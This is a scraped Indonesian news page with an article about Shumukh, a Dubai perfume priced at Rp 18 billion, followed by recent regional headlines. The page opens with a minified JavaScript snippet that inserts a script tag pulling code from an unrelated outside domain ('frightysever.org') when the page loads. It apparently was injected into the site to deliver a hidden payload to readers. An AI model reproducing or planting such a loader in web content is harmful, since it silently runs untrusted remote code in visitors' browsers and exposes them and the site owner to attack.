(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

Parfum Baru Ini Dibanderol Seharga Rp 18 Miliar


Siapa yang suka dengan wewangian? Nah, di Dubai baru aja nih diluncurkan parfum baru yang diberi nama Shumukh. Gak tanggung-tanggung parfum baru ini dijual seharga Rp 18 miliar.

Seperti dikutip dari Dewiku.com, Sabtu, (30/3/2019), parfum baru ini baru aja diluncurkan di negeri yang terkenal keindahan gurun pasirnya, Dubai. Peluncuran parfum ini bikin heboh banyak netizen dan warga di Dubai.

Pasalnya nih, parfum ini termasuk salah satu barang mewah yang pernah diluncurkan di Dubai. Bukan cuma, jam tangan berhiaskan emas dan berlian maupun supercar yang harganya selangit. Parfum ini tergolong salam satu item mewah bagi kebanyakan orang.

Parfum yang diberi nama Shumukh ini dijual dengan harga yang cukup fantastis lho. Bayangin aja, buat memboyong pulang botol parfum dengan desain yang apik, calon pembeli mesti mengeluarkan uang senilai Rp 18 miliar.

Shumukh sendiri berarti “layak menjadi yang tertinggi”. Dibanderol sampai belasan miliaran rupiah, parfum ini cukup bikin orang berdecak kagum nih. Botol mewah dengan ukuran 3 liter ini terbuat dari kaca Murano yang terkenal dengan keistimewaannya.

Kira-kira apa aja ya yang bikin mahal si wewangian ini? Ternyata nih, parfum ini terbuat dari aroma yang spesial banget. Terbuat dari racikan sandalwood, musk, ylang-ylang, mawar Turki, patchouli dan agarwood India yang bikin parfum ini mahal banget harganya.

Udah gitu nih, proses pembuatan wewangian eksklusif ini menghabiskan 3 tahun lamanya buat mendapatkan aroma yang sempurna banget. Selain aromanya yang spesial dan khas, Shumukh juga dikemas dalam botol kaca berlapiskan emas dengan taburan baru permata dan berlian berkualitas tinggi.

Wah! Pantas aja mahal, kalau kamu lihat desain botolnya nih emang terbilang layaknya khusus buat anggota keluarga kerajaan maupun miliarder nih. Udah gitu nih, botolnya ini juga dihiasi dengan ukiran-ukiran berbentuk kuda, mawar, dan burung rajawali.

Dan gak lupa ukiran-ukiran tersebut juga dihiasi dengan batu berlian. Gak cuma itu, botol Shumukh juga disimpan di dalam peti berlapiskan bantalan kulit warna hitam yang tingginya mencapai 2 meter.

Setelah Shumukh mengklaim bahwa produk parfum baru ini merupakan yang termahal di dunia. Kabar lain yang berhembus kalau produsen parfum asal Paris, Perancis juga bakal merilis parfum termahal.

Morreale salah satu merek parfum Perancis segera meluncurkan nih parfum baru dalam kemasan 10 liter dan dibanderol mencapai Rp 225 miliar. Bayangin aja siapa ya yang bakal beli parfum mahal ini? Kamu berminat?. (suara.com)

Reporter: Suara.com
Editor: KK

Desy Arfianty

Recent Posts

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

55 menit ago

Pemkab HSU Raih Opini WTP, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More

2 jam ago

Ngobrol Santai Pj Bupati Kapuas Erlin Hardi di Kelurahan Selat Dalam

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More

3 jam ago

Targetkan 5 Besar, Bupati Banjar Lepas Kontingen Popda Banjar Menuju HSS

KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More

3 jam ago

Kasus Cuci Uang Narkoba, Ayah Fredy Pratama Tak Ajukan Banding

KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More

4 jam ago

Kucing-kucingan Anak Kecil vs Satpol PP di Lampu Lalulintas Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More

5 jam ago

This website uses cookies.